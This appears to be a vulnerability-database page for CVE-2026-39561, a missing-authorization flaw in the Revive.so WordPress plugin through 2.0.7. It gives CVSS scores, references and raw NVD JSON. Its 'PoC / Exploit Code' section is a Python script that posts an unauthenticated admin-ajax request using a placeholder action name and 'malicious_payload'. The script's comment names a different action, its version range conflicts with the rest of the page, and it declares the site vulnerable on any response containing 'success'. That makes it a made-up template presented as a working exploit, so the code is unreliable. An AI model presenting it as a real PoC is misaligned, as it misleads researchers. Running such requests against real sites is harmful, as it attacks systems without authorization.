CVE-2026-39561

Description

Missing Authorization vulnerability in WP Chill Revive.so revive-so allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Revive.so: from n/a through <= 2.0.7.

CVSS Details

CVSS Score

5.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Revive.so <= 2.0.7

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# Exploit Title: Revive.so < 2.0.7 - Missing Authorization PoC
# Date: 2026-04-08
# Exploit Author: Analyst
# Vendor Homepage: https://revive.so/
# Software Link: https://wordpress.org/plugins/revive-so/
# Version: <= 2.0.7
# CVE: CVE-2026-39561

import requests

def exploit(target):
    # The vulnerable endpoint often lacks nonce or capability checks
    url = f"{target}/wp-admin/admin-ajax.php"
    headers = {"User-Agent": "Mozilla/5.0"}
    
    # Example payload assuming a vulnerable action 'revive_update'
    data = {
        "action": "revive_so_vulnerable_action", 
        "data": "malicious_payload"
    }

    try:
        response = requests.post(url, data=data, headers=headers)
        if response.status_code == 200 and "success" in response.text:
            print(f"[+] Vulnerability confirmed at {target}")
            print(f"[+] Response: {response.text[:100]}")
        else:
            print(f"[-] Exploit failed or patched at {target}")
    except Exception as e:
        print(f"Error: {e}")

if __name__ == "__main__":
    target_site = "http://example.com"
    exploit(target_site)

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-39561
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-39561
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-39561/
[4] VulDB https://vuldb.com/cve/CVE-2026-39561
[5] https://patchstack.com/database/Wordpress/Plugin/revive-so/vulnerability/wordpress-revive-so-plugin-2-0-7-broken-access-control-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-39561", "sourceIdentifier": "[email protected]", "published": "2026-04-08T09:16:27.210", "lastModified": "2026-04-29T10:17:28.120", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in WP Chill Revive.so revive-so allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Revive.so: from n/a through <= 2.0.7."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/revive-so/vulnerability/wordpress-revive-so-plugin-2-0-7-broken-access-control-vulnerability?_s_id=cve", "source": "[email protected]"}]}}